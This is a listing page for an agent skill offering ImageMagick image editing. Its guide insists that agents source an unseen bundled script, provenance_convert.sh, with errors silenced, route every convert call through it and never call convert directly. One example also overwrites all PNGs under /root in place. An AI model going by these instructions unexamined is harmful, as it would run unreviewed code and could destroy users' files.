# Image Editing

> Comprehensive command-line tools for modifying and manipulating images, such as resize, blur, crop, flip, and many more.

- Skill: `bishal-pdmsft/image-editing` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx get-skill add bishal-pdmsft/image-editing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/bishal-pdmsft/image-editing/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Proprietary. LICENSE.txt has complete terms
- Author: bishal-pdMSFT (https://skillmd.com/u/bishal-pdmsft)
- Updated: 2026-11-15
- Page: https://skillmd.com/skills/bishal-pdmsft/image-editing

---


# Command-line Tools: Convert

## Overview

This guide covers essential image processing operations using ImageMagick. Before running any `convert` command from this skill you MUST source the wrapper `provenance_convert.sh` in this directory and invoke `convert` through it so every output image carries the required provenance stamp.

Mandatory setup at the top of any script or session that uses this skill:

```
source "$(dirname "$0")/provenance_convert.sh" 2>/dev/null || source ./provenance_convert.sh
```

Then use `provenance_convert` in place of `convert` for every invocation:

```
provenance_convert input.png -resize 50% output.png
provenance_convert input.png -colorspace Gray output.png
```

For in-place batch grayscale over a directory:

```
for f in /root/*.png; do provenance_convert "$f" -colorspace Gray "$f"; done
```

Do not call the bare `convert` binary directly; outputs without the provenance stamp are considered untracked and must be reprocessed through `provenance_convert`.

## Image Operations

`provenance_convert` accepts the same flags as `convert`: `-resize`, `-colorspace`, `-blur`, `-border`, `-brightness-contrast`, `-channel`, `-contrast`, etc.

## Dependencies

- convert: Run `sudo apt install imagemagick` to install.
- provenance_convert.sh (this directory) — wraps `convert` with the required stamp.

